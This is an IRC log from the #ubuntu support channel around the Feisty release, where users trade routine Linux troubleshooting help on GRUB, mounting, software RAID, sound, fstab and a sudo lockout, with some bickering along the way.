[04:16] <DjViper> OrTigaS: no? did you drop it somewhere? :P
[04:16] <variant> YingFan: ah, no, they are most probably gone for good
[04:17] <variant> bsnider: wont matter, just specify the module name
[04:17] <OrTigaS> can be delete "UUID" in /etc/fstab and just leave /dev/hd? <---- :)
[04:17] <variant> bsnider: *shouldn't matter*
[04:17] <soc> variant: i just try that ...
[04:17] <YingFan> damn, that was a lot of data :(
[04:17] <variant> OrTigaS: yes, if you specify the correct disk/partition numnber
[04:17] <variant> YingFan: is the /tmp mounted now?
[04:17] <YingFan> variant yeah
[04:17] <soc> problem is, that in arch the partition is called sda4, but in arch's grub it's sda3
[04:18] <surviver> is there a program in ubuntu that allow me to remove cookies and other temp files or wasted system files?
[04:18] <variant> YingFan: there is always a possibility to recover some or all of the data. the longer the partition remains mounted the harder this gets
[04:18] <OrTigaS> variant: ok.. because i'm trying to restore to see my HD1
[04:18] <YingFan> variant, you know a name of a tool in the repositories perchance?
[04:18] <variant> soc: in linux (the kernel) devices are named as such: the first partition of the first ata disk would be /dev/hda1. in grub this would be called hd0,0
[04:19] <lulu>   <IRC>  
[04:19] <variant> YingFan: magic rescue
[04:19] <variant> YingFan: your milage really may vary though
[04:19] <variant> YingFan: /tmp is wiped and written to at boot time, i would say that there is nothin left at all worth rescuing
[04:19] <variant> YingFan: certainly not any complete files
[04:19] <variant> YingFan: i have done a lot of file recovery in the past, beleive me
[04:20] <soc> variant: yes i know
[04:20] <soc> it doesn't work
[04:20] <variant> YingFan: particularlly seeing as you haven't unmounted it yet indicates you don't understand what that means
[04:20] <reep> YingFan: you should unmount /tmp asap, but undeleting files on ext2 is hard, and most likely most of your files are allready overwritten
[04:20] <soc> i always get error 15: file not found
[04:20] <variant> soc: without further details i can't/won't help
[04:20] <variant> i'm off out now anyway
[04:20] <YingFan> variant I see, not much written on tmp yet though
[04:20] <variant> YingFan: what kind of files is it?
[04:20] <YingFan> variant, ok thanks for the help
[04:21] <YingFan> variant, it was large moviefiles
[04:21] <variant> YingFan: installing software makes extensive use of /tmp afaik..
[04:21] <YingFan> VOB
[04:21] <variant> YingFan: ok, magicrescue should be able to recover large chunks of them..
[04:21] <variant> YingFan: don't expect anything complete though
[04:21] <YingFan> ok i'll try at least
[04:21] <variant> YingFan: if you have to do any work do it from the live cd
[04:21] <surviver> is there a program in ubuntu that allow me to remove cookies and other temp files or wasted system files?
[04:22] <chairman> I'm using cakephp 1.2 and when I have used scaffolding I don't get  (norwegian character) from the database (when I use phpmyadmin for looking at the data I get 
[04:22] <variant> YingFan: the longer the system has /tmp mounted the less recoverable data there will be
[04:22] <spheard> where do I set my default gateway?
[04:22] <variant> YingFan: ie: reboot to the live cd NOW
[04:22] <chairman> ooops, wrong channel
[04:22] <YingFan> nod, thanks for the help, laters
[04:22] <variant> spheard: in the network manager
[04:23] <jonah_> hello anyone know of a way to mount a mac dvd
[04:23] <variant> spheard: alternativly you can set it for this boot time only with "route add default gw <IPADDRESS>
[04:23] <variant> jonah_: have you tried mounting it already?
[04:23] <variant> spheard: as root
[04:23] <soc> i can't get it
[04:23] <jonah_> tried mount -t hfsplus -r /dev/cdrom /mnt/cdrom/ but it says mount: mount point /mnt/cdrom/ does not exist
[04:23] <variant> ahh, stop asking questions i have to go out!!! *gone*
[04:24] <Glos_WiFi> !sound
[04:24] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[04:24] <variant> jonah_: run mkdir /mnt/cdrom first
[04:24] <jonah_> variant, i'm not sure how
[04:24] <spheard> variant: and ns?
[04:24] <Daemonic> Question.. can I map an extra mouse button to perform a keystroke? like make mouse button 4 alt+tab?
[04:24] <surviver> !cookie
[04:24] <ubotu> Sorry, I don't know anything about cookie - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:24] <soc> grub ALWAYS says "error 15: file not found" for every other os except itself
[04:24] <jonah_> varian but discs normally automount
[04:24] <spheard> variant:and DNS?
[04:24] <variant> spheard: put in /etc/resolv.conf or in the netwrok gui
[04:24] <surviver> !delete cookies
[04:24] <ubotu> Sorry, I don't know anything about delete cookies - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:24] <spheard> variant:where is the network gui in kde?
[04:24] <surviver> !tmp delete
[04:24] <ubotu> Sorry, I don't know anything about tmp delete - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:24] <redmonkey> tomorrow is the day im so excited;)
[04:24] <ubuntuEdgy> surviver: common
[04:24] <variant> jonah_: yeah, your trying to mount it to a non existant location
[04:24] <varka> how to enable the keyboardcontrol terminal on tty8 from vdr?
[04:24] <variant> spheard: no idea
[04:25] <surviver> ubuntuEdgy, what?
[04:25] <DjViper> spheard: get network-manager
[04:25] <variant> spheard: mount /dev/cdrom /media/cdrom (mkdir /media/cdrom FIRST)
[04:25] <jonah_> variant, ah ok
[04:25] <Glos_WiFi> can anyone help im not getting any sound and ive tried all the help guide provided on here
[04:25] <variant> jonah_: mount /dev/cdrom /media/cdrom (mkdir /media/cdrom FIRST)
[04:25] <Nergar> whats the best torrent client for the command line?
[04:25] <ubuntuEdgy> use you're web browser to delete cookies
[04:25] <Daemonic> Question.. can I map an extra mouse button to perform a keystroke? like make mouse button 4 alt+tab?
[04:25] <variant> spheard: ignore that last.. was for jonah_
[04:26] <variant> !repeat | Daemonic
[04:26] <ubotu> Daemonic: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[04:26] <robot_> So I'm liking Ubuntu FF for my work desktop. Running compiz but got one issue... FireFox doesn't refresh properly when I scroll UP a page that I've scrolled DOWN.
[04:26] <John2> So uh, is Feisty supposed to be released today?
[04:26] <spheard> DjViper:difficult with no network :-(
[04:26] <Nergar> John2, tomorrow
[04:26] <DjViper> spheard: hmm, wlan?
[04:26] <John2> I thought it said tomorrow yesterday? :(
[04:26] <DjViper> John2: thursday
[04:27] <John2> Dang...
[04:27] <Nergar> John2, if really really want in now, download the RC and upgrade tomorrow
[04:27] <ubuntuEdgy> surviver look in /tmp
[04:27] <Dr_willis> John2,   im using the rc :)
[04:27] <jonah_> variant, ok it's mounted thanks for that, but then how do i make an iso of the dvd?
[04:27] <John2> Damn, hehe
[04:28] <John2> I think I can wait one more day
[04:28] <Dr_willis> John2,  of course by tomorrow - everyone will be downloading it.. so the downloads will be slow. heh
[04:28] <Andeh> Hello
[04:28] <John2> Doh....
[04:28] <John2> lol
[04:28] <surviver> ubuntuEdgy, yes i did that but iam only searching a program that allows me to delete or remove uwanted cookies and other wasted files :)
[04:28] <ubuntuEdgy> downloading what
[04:28] <Dr_willis> John2,  unless of course they all use the torrents.
[04:28] <John2> True...
[04:28] <Andeh> Is it possible to install linux on a software raid system? I mean the whole thing being on a raid partition?
[04:29] <spheard> DjViper:no, Im steaing next doors wireless, routing it thru my laptop to my router
[04:29] <spheard> DjViper:I give them wine :-)
[04:29] <DjViper> spheard: hmm ok, are you sure the router has outside-acceess?
[04:29] <lwizardl> hi
[04:29] <spheard> DjViper:how do you mean?
[04:30] <DjViper> spheard: hmm, does your router reach wan access?
[04:30] <spheard> surely the nat will handle that on my laptop
[04:30] <John2> Does Feisty have NTFS Write support out of the box?
[04:30] <DjViper> spheard: is your pc connected wirelessly to your router? or by wire?
[04:30] <debauchery1st> does feisty have issues with USB?
[04:31] <spheard> DjViper: wire
[04:31] <debauchery1st> John2 yes
[04:31] <spheard> both laptop and pc ar connected to the router by wire
[04:31] <John2> Dang, niiiiice
[04:31] <debauchery1st> John2: it reads my vista drive perfect
[04:31] <DjViper> spheard: oh, is the network card configured?
[04:31] <spheard> Im getting the internet from next door thru wireless
[04:31] <John2> Thats sweet
[04:31] <John2> I just deleted my Vista, hehe
[04:31] <John2> Doesn't run good enough on my laptop
[04:32] <DjViper> vista doesnt run good, period :P
[04:32] <elkbuntu> !offtopic
[04:32] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[04:33] <syock> While trying Feisty, my PC wakes up from  shutdown on mouse event. This behaviour is unexpected. How do I go about making it shutdown properly?
[04:33] <DjViper> ok ok
[04:33] <DjViper> sorry
[04:33] <Andeh> Is it possible to somehow install linux ON a SOFTWARE raid system or must some  part be on another partition?
[04:33] <VSpike> If I want to add a ServerName directive, which config file should it go in.  The /etc/apache2/apache2.conf or /etc/apache2/sites-available/default ?
[04:34] <debauchery1st> I've only got 2 issues with feisty at the moment... NetworkManager sucks with ndiswrapper (I use wifi-radar instead), and my usbports only work if something is plugged in on boot.
[04:34] <DjViper> Andeh: install it all on one partition?
[04:34] <ubuntuEdgy> syock:  look in your bios
[04:34] <Andeh> DjViper: Im not sure, i mean that linux runs off the raid partition somehow
[04:34] <DjViper> Andeh: its possible to install ubuntu on just one partition, but I wouldnt recommend it
[04:34] <Andeh> It doesnt seem possible
[04:35] <Andeh> I mean on a SOFTWARE RAID 0 partiton
[04:35] <DjViper> oh
[04:35] <n00tz> yaay, I'm not the only one having Software RAID issues
[04:35] <Andeh> because for software raid you'd need something on a normal partition to run the raid setup, right?
[04:35] <debauchery1st> I have to add "noapic" to the kernel in order to boot without freezing, could that be killing my usb ports?
[04:35] <DjViper> Andeh: I dont know, sorry
[04:35] <Andeh> It would seem really fast to have the whole thing running on raid but...
[04:36] <debauchery1st> laptop is an hp dv6119us
[04:36] <Andeh> Because heres the thing, you need to have linux already INSTALLED to setup a proper software RAID, so it doesnt seem possible to install it onto software RAID
[04:37] <Andeh> Damn... that means i have to buy a raid controller... crap
[04:37] <Andeh> Oh well... Plan B
[04:37] <Andeh> :0
[04:37] <lolman> Andeh, There's always the Ubuntu live CD's to use ;)
[04:37] <Andeh> yes
[04:38] <Andeh> Ok that sucks... maybe just to somehow setup the kernel to load the software raid controller first
[04:38] <Hmzaniac> i can install ubuntu on an existing md software raid just fine
[04:38] <ubuntuEdgy> :)
[04:38] <Andeh> Hmzaniac: What? How?
[04:38] <Hmzaniac> use the alternate cd with the expert install.
[04:38] <Dandre> !help
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[04:38] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[04:38] <compilerwriter> Are we still on for 7.04 tommorrow?
[04:39] <Andeh> Hmzaniac: Seems i wont be doing this from a GUI :D
[04:39] <kippi> is there better wireless support on the new version of Ubuntu?
[04:39] <Hmzaniac> no, unfortunately the GUI installer doesn't support it
[04:39] <lolman> kippi, in Feisty? Yes, much
[04:39] <zooounds> hi. PLEASE help me
[04:39] <gerhard> hi i have problems mounting a partition
[04:39] <elkbuntu> zooounds, you need to give details first
[04:39] <debauchery1st> why doesn't ndiswrapper seem to work with NetworkManager
[04:39] <zooounds> After my feist installation my computer wont boot
[04:39] <debauchery1st> ?
[04:39] <compilerwriter> !ask zooounds
[04:39] <ubotu> Sorry, I don't know anything about ask zooounds - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:39] <Hmzaniac> but 1 question: with software raid, do you mean MD or crappy hardware-emulated raid like sis/nvidia/etc does on their onboard "raid"-controllers?
[04:39] <compilerwriter> !ask | zooounds
[04:39] <ubotu> zooounds: Don't ask to ask a question. Just ask your question :)
[04:39] <zooounds> I think it has something to do with soft raid or lvm
[04:40] <lolman> debauchery1st, I'm having a problem with ndiswrapper and DHCP, may be linked since that's all NetworkManager wants to use
[04:40] <gerhard> when i do so it complains that the partition would be some kind of  a space to exchange data and it wants to have a file system specificated
[04:40] <gerhard> how can i do so
[04:40] <elkbuntu> zooounds, #ubuntu+1 is full of feisty users
[04:40] <zooounds> pure software raid
[04:40] <debauchery1st> zooounds: try adding "noapic" to the boot line
[04:40] <Andeh> Hmzaniac: Thats the next thing i am looking for in Ubuntu. A GUI with a little checkmark at the begining saying "I am good at this" that gives you all the options WITHOUT the inhospitality of the terminal. Yuck.
[04:40] <ubuntuEdgy> gerhard: whats the erro
[04:40] <ubuntuEdgy> r
[04:40] <Andeh> Hmzaniac: I mean a GUI installer :D
[04:41] <Hmzaniac> yeah, installers still have a long way to go to be userfriendly for people with specific requirements
[04:41] <gerhard> its in spanish
[04:41] <Andeh> Hmzaniac: Ok, can you tell me exactly HOW the software raid setup works?
[04:41] <lynxo>  can somone help me in here i'm on kubuntu live and the installer keeps crashing.
[04:41] <gerhard> ubuntuEdgy, it is in spanish
[04:41] <lolman> Damn I wish this compilation would hurry up
[04:41] <debauchery1st> lolman: I can use dhclient from the command line to join the wifi network, but NetworkManager just sits there and won't join.
[04:41] <Andeh> I mean it has to load the raid module from a non raid partition first, right?
[04:41] <Hmzaniac> hmmm
[04:41] <Hmzaniac> why on earth is this my old nick?
[04:41] <gerhard> ubuntuEdgy,gerhard@ubuntu:~$ sudo mount /dev/hdb3 /media/hdb3
[04:41] <gerhard> /dev/hdb3 parece espacio de intercambio - no montado
[04:41] <gerhard> mount: debe especificar el tipo de sistema de ficheros
[04:42] <Andeh> Hmzaniac: I mean it has to load the raid module from a non raid partition first, right?
[04:42] <Bokeh> anyways :D
[04:42] <warior> hi guys i neeed help with teamspeak, something is wrong i can hear anyone they cant hear  me too :( what i shoul write into driver section? there is /dev/dsp
[04:42] <lolman> debauchery1st, I don't know, personally I don't use ndiswrapper, since Feisty has the native module :)
[04:42] <Bokeh> Andeh: get the alternate cd, then choose expert install
[04:42] <lolman> warior, trying to use other OSS applications at the same time?
[04:42] <Bokeh> there's an option there to load software raid modules
[04:42] <ubuntuEdgy> gerhard: did you remember to create the directory your mounting to first
[04:42] <gerhard> yes
[04:42] <Bokeh> as soon as you load that, there should be an option to create software raid devices in the partitioning menu
[04:42] <warior> lolman possibly xmms
[04:42] <gerhard>  /media/hdb3 exists
[04:42] <Andeh> Yes, i know, but how does the setup work? I mean when your PC boots up, what loads first? What is located where??
[04:42] <Bokeh> you will have to use the ncurses installer though, no graphical support atm for it
[04:42] <Bokeh> unfortunately :/
[04:42] <pegger> how would I scp fron machine A through machine B to machine C???
[04:43] <Andeh> When does the RAID module get loaded and Where from?
[04:43] <gerhard> ubuntuEdgy, maybe i must change access rights for it?
[04:43] <quaal> what do we use instead of quicken?
[04:43] <lolman> warior, that'll be why, flip XMMS over to ALSA, restart TeamSpeak and it should work :)
[04:43] <quaal> wine quicken 07 is failing hard
[04:43] <ubuntuEdgy> no i don't think so
[04:43] <n00tz> alright, I'm tying to install Ubuntu Server (Dapper) I've never tried to use the Software RAID before, but here's my problem: Disk partitioner --> Configure software RAID .. I Create the MD device as a RAID 5 on all 6 of my SCSI disks (no spares) and finish.
[04:43] <lynxo>  can somone help me in here i'm on kubuntu live and the installer keeps crashing.
[04:43] <gerhard> ubuntuEdgy, it fails even at 775
[04:43] <Terrasque> pegger: on machine c : scp machinea:file machineb:file
[04:43] <n00tz> it restarts the partiioner
[04:43] <warior> lolman going to try :)
[04:43] <n00tz> and I tell it to guided partition te RAID device..
[04:43] <Bokeh> it gets loaded by the ncurses installer if you choose to load additional modules, then load software raid modules.
[04:43] <debauchery1st> lolman: yeah, my only problem with the native module is that it only runs at 20 kB/s ... on the other hand, bcmwl5.sys runs via ndiswrapper at speeds of 1 mB/s and beyond.
[04:43] <Bokeh> i don't know the exact steps anymore, been a while since i did an attended ubuntu install :P
[04:44] <ubuntuEdgy> gerhard:  are you shure its /dev/hdb3 ?
[04:44] <gerhard> ubuntuEdgy, yes
[04:44] <lolman> debauchery1st, ah, the module for mine works fine. ndiswrapper, on the other hand, refuses to go above 11mb/s
[04:44] <Bokeh> will feisty be released on schedule btw?
[04:44] <lolman> (my card is 54)
[04:44] <Bokeh> really hoping to be able to start testing upgrades for all desktops here :0
[04:44] <Terrasque> pegger: oh, from a thru c to b.. right almost the same, i did a to b thru c
[04:44] <ubuntuEdgy> lest check, install gparted
[04:44] <n00tz> I tell it to erase the entire disk and install how it wishes
[04:44] <ubuntuEdgy> most easy way to do it
[04:44] <Andeh> How do you pronounce Ubuntu??
[04:44] <Andeh> You-Boon-Two?
[04:44] <Andeh> A-Bun-Too?
[04:44] <drewzf> Can I force a password responce to su/sudo?
[04:45] <lolman> Andeh, ooh bun too
[04:45] <n00tz> now I'm waiting on the error message I get so I can tell you what it is
[04:45] <Toma-> Andeh: Ooh-bun-tooh
[04:45] <Andeh> lolman: lol
[04:45] <Bokeh> it should do that by default drewzf
[04:45] <drewzf> For some reason my password is automatically being input, denying me access to any superuser access
[04:45] <ubuntuEdgy>  Andeh: Oooo buntu
[04:45] <drewzf> Can I feed the password in the same line as my su/sudo command?
[04:45] <lwizardl> whats the linux variant of adobe pagemaker ?
[04:45] <n00tz> alright -- Error informing the kernel about modifications to partition /dev/md/0p1 -- invalid argument
[04:45] <n00tz> 
[04:45] <crdlb> drewzf, what do you mean automatically input?
[04:45] <Bokeh> nope, you can't
[04:46] <gerhard> ubuntuEdgy, i have gparted installed
[04:46] <pegger> Terrasque: not really the same A can not get to C with out going through B
[04:46] <warior> lolman after restarting X server it is working ;) thx
[04:46] <gerhard> ubuntuEdgy, now what is to do?
[04:46] <Bokeh> you can change your sudoers.conf to automatically accept specific commands without asking for a password
[04:46] <lolman> warior, it shouldn't have taken an X server restart but heh
[04:46] <drewzf> but not without superuser access
[04:46] <Toma-> lwizardl: whats that?
[04:46] <drewzf> and I can't su or sudo
[04:46] <n00tz> This means linux won't know about any changes you made to /dev/md 0p1 until you reboot so you shouldnt mount it or use it in any way before rebooting
[04:46] <ubuntuEdgy> gerhard: is it a windows partition ?
[04:46] <Bokeh> drewzf: did you try logging out and in again?>
[04:46] <drewzf> Bokeh: I think my /etc/ directory is broken.
[04:46] <gerhard> ubuntuEdgy, no its swap :-D thats why it does not work
[04:47] <gerhard> ubuntuEdgy, sorry
[04:47] <Bokeh> doh :D
[04:47] <ubuntuEdgy> Toma-:Ohh-bun-tu
[04:47] <cynthia> hi
[04:47] <Terrasque> pegger: on macine b : scp machinea:file machinec:file
[04:47] <Bokeh> can you try getting in your system as root?
[04:47] <n00tz> anyone have any pointers on Software RAID 5 installations from the Dapper server install disk
[04:47] <Bokeh> or didn't you set your root password
[04:47] <drewzf> Bokeh: That's what I'm trying to do
[04:47] <drewzf> I have the password set
[04:47] <Toma-> lwizardl: I used Scribus for publishing.... its really quite neat
[04:47] <lwizardl> Toma-, basically a flyer maker
[04:47] <crdlb> drewzf, you are supposed to type sudo command_to_run, then type your password, what makes you say that isn't working?
[04:47] <drewzf> su just skips my input
[04:47] <porkpie> hi guy's I am trying to find this package for edgy libapache-mod-fastcgi but I don't seem to be able to find it
[04:47] <Andeh> Is the ubuntu alternate install cd hard? I mean will it use plain english most of the time or spew complicated random phrases in my eye?
[04:47] <ubuntuEdgy> gerhard:lol
[04:48] <Bokeh> can you paste the exact command you are trying to do drew?
[04:48] <drewzf> crldb: Because when I type sudo command_to_run it bypasses all 3 password input attempts saying that I input it incorrectly
[04:48] <warior> lolman yes i have to :)
[04:48] <mp_> Andeh: its pretty easy
[04:48] <drewzf> oh my god
[04:48] <gerhard> ubuntuEdgy, how can i make it automount the /dev/hda5 partition to /media/hda5 ?
[04:48] <drewzf> I've been using linux for 3 years
[04:48] <Bokeh> Andeh: it's just the same as the graphical installer, except it's "text-based"
[04:48] <Toma-> Andeh: you may need a ROT26 translator as some points :)
[04:48] <drewzf> I'm not a retard.
[04:48] <lolman> warior, that figures lol
[04:48] <drewzf> I do sudo nano /etc/my.cnf
[04:48] <Andeh> Toma-: LOL
[04:48] <gerhard> ubuntuEdgy, i dont want to mount it each time^^
[04:48] <drewzf> and it gives me 3 invalid password responses
[04:48] <crdlb> drewzf, maybe you are using the wrong password
[04:48] <drewzf> instantaneously.
[04:48] <Andeh> Bokeh: And it actually lets you do stuff
[04:48] <ubuntuEdgy> gerhard: ok i know what you mean
[04:48] <drewzf> I DON'T GET AN OPPORTUNITY TO INPUT THE PASSWORD
[04:48] <Andeh> :D
[04:49] <Bokeh> yeah, it has a bit more options as the graphical installer
[04:49] <mp_> Andeh:  its just like running a windows install disc.. just be cautious about your other partitions
[04:49] <ubuntuEdgy> gerhard: look it up on google its easy
[04:49] <drewzf> It gives me 3 invalid passwords before I even get to type anything
[04:49] <debauchery1st> I was using gentoo before I downloaded feisty. Quite frankly, I'm amazed at how easy it was to get running. I'm running beryl on this and everything seems to run smooth, even the cdburning (which had an issue on gentoo). Now if I could only fix this usb issue!
[04:49] <Bokeh> drewzf: did you change your sudoers file in any way?
[04:49] <drewzf> and skips through the sudo/su altogether
[04:49] <gerhard> ubuntuEdgy, all right what must i search for?
[04:49] <drewzf> Bokeh: I didn't, I think my etc directory disappeared
[04:49] <Bokeh> ok, can you log in to your root account on a terminal?
[04:49] <Andeh> mp_: I havent found any tuts on how to install ubuntu alternate CD on raid, that's pretty straightforward, right?
[04:49] <drewzf> Wow
[04:49] <drewzf> Listen
[04:49] <matthew> is it possible to format windows to ext2 so that you can have write access in ubuntu.  thanks
[04:49] <drewzf> I'm done repeating myself.
[04:49] <Andeh> mp_: software raid that is
[04:49] <Toma-> lwizardl: just how serious do you want to get with these flyers?
[04:49] <drewzf> If I SU or SUDO
[04:50] <Bokeh> i am not asking about SU or SUDO
[04:50] <drewzf> it doens't allow me a single opportunity to input my password
[04:50] <Bokeh> i am asking about a direct root login.
[04:50] <drewzf> Then what the hell are you asking about?
[04:50] <Bokeh> ctrl-alt-f1, root login, enter root password.
[04:50] <Bokeh> is that possible?
[04:50] <ubuntuEdgy> gerhard: http://www.arsgeek.com/?p=585
[04:50] <drewzf> I'll try
[04:50] <lolman> drewzf, if your etc had gone you wouldn't have anything but core commands...
[04:50] <rambo3> Bokeh, no
[04:50] <gerhard> ubuntuEdgy, thx
[04:50] <ubuntuEdgy> weolcome
[04:50] <Bokeh> matthew: windows can't work with ext2, ubuntu can work with fat32 though
[04:50] <debauchery1st> is there any boot params that may affect hald or usb?
[04:50] <Bokeh> no to what rambo? :D
[04:50] <gerhard> ubuntuEdgy, but it is an ext partition
[04:50] <ubuntuEdgy> danm keybaord
[04:50] <mp_> i never used had a raid setup before, let me do a quick search for your Andeh
[04:51] <backz> can I talk about dedicated servers running ubuntu on this channel?
[04:51] <Bokeh> sure
[04:51] <matthew> Bokeh:  ok, so do i format to fat32 with ubuntu and then reinstall windows?
[04:51] <lwizardl> Toma-, well I'm working on opening a game shop and want to have nice looking flyers I figure I can use gimp for the graphics and I could insert the text that way using fonts etc but I also want to make it easy for anyone working their also
[04:51] <Toma-> backz: sure can
[04:51] <Bokeh> you should be able to choose fat32 during the windows installation, haven't done it in ages though.
[04:51] <drewzf> Bokeh: No.
[04:51] <Andeh> Hello. My ubuntu install got messed up. Keymaps missing, loads of glitches, even gaim was affected.
[04:51] <Andeh> I am going to save what i need and install XUBUNTU on ReiserFS, for speed. Anything i should know??
[04:51] <ubuntuEdgy> gerhard:its not ....didi you want to write on the windows partition ?
[04:51] <drewzf> Bokeh: It just keeps saying 'Invalid Password'
[04:51] <drewzf> over and over
[04:51] <Bokeh> ok.
[04:52] <drewzf> Without me typing anything at all
[04:52] <Bokeh> can you paste the following files in a pastebin:
[04:52] <Bokeh> /etc/passwd
[04:52] <Andeh> LOL
[04:52] <Bokeh> /etc/nsswitch.conf
[04:52] <Bokeh> /etc/pam.d/common-*
[04:52] <gerhard> ubuntuEdgy, its ext3, i have already written to it i just want to have it mounted each time i start my PC
[04:52] <Andeh> Bokeh: I hope he hasnt configured a remote login :D
[04:52] <drewzf> Bokeh: No I can't
[04:52] <arrow___> My computer just failed a memory test, it has 2 sticks of ram, is there any way to tell which one is bad?
[04:52] <drewzf> Bokeh: I can't log in now
[04:52] <backz> I'm looking for dedicated servers that run ubuntu linux, actually I'm using a ServerPronto server, on www.serverpronto.com. do you know this service? It can run ubuntu as server... do you know another services that run ubuntu?
[04:52] <drewzf> Bokeh: And that wouldn't help me regardless if I can't modify them
[04:52] <Bokeh> you can't log in with your normal account either?
[04:52] <matthew> Bokeh: ok thanks
[04:53] <Toma-> lwizardl: well openoffice can export of PDF, and you can input graphics into that. If you want aswell, you can use inkscape, as thats a full featured SVG edited, and SVG is beautiful for printing. not too fancy on text tho.
[04:53] <drewzf> Bokeh: Do you not understand the issue I'm having?
[04:53] <Bokeh> i do.
[04:53] <debauchery1st> doesn't seem like anyone can help with the usb problem
[04:53] <drewzf> Bokeh: I CAN'T Input ANYTHING in a password field.
[04:53] <drewzf> Bokeh: And now that I've logged out
[04:53] <drewzf> Bokeh: I'm screwed
[04:53] <crdlb> drewzf, you could login to single user mode
[04:53] <Bokeh> why on earth did you log out?
[04:53] <ubuntuEdgy> gerhard: ok do this gksudo gedit /etc/fstab
[04:53] <debauchery1st> is there any other room that might be able to help?
[04:53] <drewzf> ...
[04:53] <gerhard> ubuntuEdgy, alright
[04:53] <arrow___> !MemoryTest
[04:53] <drewzf> That's what ctrl+alt+f1 did?
[04:53] <ubotu> Sorry, I don't know anything about memorytest - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:53] <Bokeh> no, it didn't.
[04:53] <lwizardl> Toma-, I'm make a note of those apps thanks :)
[04:53] <drewzf> ...
[04:53] <drewzf> WOW
[04:53] <Bokeh> i thought you said you were a linux "expert" :)
[04:53] <drewzf> Bokeh: You're retarded.
[04:53] <Toma-> drewzf: you know theres no feedback for when you try to input a pssword right?
[04:53] <Bokeh> rofl
[04:54] <Andeh> Can anyone tell me anything i should know about installing Xubuntu (or any *ubuntus in general) on ReiserFS or Reiser4?
[04:54] <Toma-> lwizardl: no probs :)
[04:54] <AutumnCat> What's the name of this font http://fc01.deviantart.com/fs14/i/2007/094/f/0/Aqua_Project_KDE_iconset_by_hammergom.jpg ???
[04:54] <Bokeh> oh well, i guess intelligence has to average out on a global scale....
[04:54] <gerhard> ubuntuEdgy, now? what must i change here?
[04:54] <ubuntuEdgy> gerhard then place this at the end /dev/hda5 /media/hda5 ntfs-fuse auto,gid=1002,umask=0002 0 0
[04:55] <Toma-> lwizardl: I think scribus would be your best bet. its got a bit of a learning curve, but really, what doesnt? :)
[04:55] <Bokeh> do they have fuse working with ntfs now then?
[04:55] <ubuntuEdgy> that should do it
[04:55] <Bokeh> write support and the whole shebang?
[04:55] <gerhard> ubuntuEdgy, # /dev/hda5 -- converted during upgrade to edgy /media/hda5 ext3 defaults 0 2 this is already in there i think i better change this line
[04:55] <arrow___> My computer just failed a memory test, it has 2 sticks of ram, is there any way to tell which one is bad?
[04:55] <backz> to server, must I use Ubuntu 6.06 LTS or edgy is good for this?
[04:55] <Bokeh> arrow__: remove 1, test. remove other, test.
[04:55] <lwizardl> Toma-, and I thought that was the beauty of linux learning to do everything you want to do and then some.
[04:55] <lolman> arrow__, take one out, run the test again
[04:55] <lwizardl> :)
[04:55] <ubuntuEdgy> ok
[04:56] <nite613_> Trying to install ubuntu on a laptop with ATI X700, get graphics screwups during the boot splash and it never gets beyond it. Any suggestions?
[04:56] <drewzf> Bokeh: Yes, ctrl+alt+f1 did log me out.
[04:56] <Bokeh> backz: either will do fine, dapper will give you a bit longer support but tbh that should only be needed when you run very critical applications
[04:56] <drewzf> There are no other open terminals existing.
[04:56] <lolman> Bokeh, testing with no RAM would be a little...impossible :D
[04:56] <porkpie> ubuntuEdgy:where can I install libapache-mod-fastcgi on edgy
[04:56] <lwizardl> what about limiting pc access like some companies use 3rd party applications to limit access to programs & websites. Besides creating limited user accounts,and firewall settings is their another option ?
[04:56] <arrow___> bokeh, lolman, I was hoping I didn't have to do that, thanks for the help
[04:56] <drewzf> And I'm now locked out of a box that I can't reboot.
[04:56] <Bokeh> hmmm
[04:56] <Toma-> lwizardl: exactly :) take your time and just read the tutorials and youll be a Scribus champion in no time. Theres also Scribus-NG if im not mistaken
[04:56] <Bokeh> i thought i was a retard
[04:56] <Bokeh> and you were using linux for years.... :)
[04:56] <drewzf> Bokeh: You are, I was telling you why you're retarded.
[04:57] <porkpie> ubuntuEdgy:I am having a problem finding it
[04:57] <arrow___> 
[04:57] <drewzf> If you had listened to me in the first place
[04:57] <nite613_> Looking for a kernel boot option to disable the bootsplash so I can actaully see the boot process or something.
[04:57] <Toma-> lwizardl: add the websites adresses to /etc/hots
[04:57] <Bokeh> if so, then you should know that ctrl-alt-f1 switches you to a VT and ctrl-alt-f7 should switch you back to the 7th VT, which is the DE FACTO VT to run X on.
[04:57] <drewzf> You would have realized that I can't enter a password at all
[04:57] <lolman> drewzf, chuck a recovery cd of some description in and try chrooting
[04:57] <Toma-> lwizardl: i mean, /etc/hosts
[04:57] <D3b|4n> i need regenerar my grub
[04:57] <drewzf> Bokeh: And I did every single terminal from f1-f7
[04:57] <warior> lolman now i cant hear sound in cedega :(
[04:57] <ubuntuEdgy> porkpie:  open a terminal type locate  libapache
[04:57] <drewzf> and none are my original.
[04:57] <lolman> warior, if that's set to OSS set it to ALSA
[04:58] <warior> lol i already have
[04:58] <Skiptest> Can Ubuntu boot off USB?
[04:58] <D3b|4n> i reinstall win and my grub wrong
[04:58] <drewzf> lolman: Can you chroot when you can't log in?
[04:58] <Bokeh> Arrow: sorry, but mem testing is a bitch, so you'll have to use trial and error on the sticks of ram :)
[04:58] <drewzf> No.
[04:58] <backz> Bokeh, but I will get this server today, the ubuntu 7.04 will be released tomorrow, I can't wait for this. I'll use a dedicated server to host a LAMP and Ruby on Rails application.
[04:58] <Toma-> drewzf: what are you trying to do?
[04:58] <Bokeh> drewzf: use an init option to get you in without a password
[04:58] <Bokeh> or use a livecd
[04:58] <ubuntuEdgy> Skiptest:yes
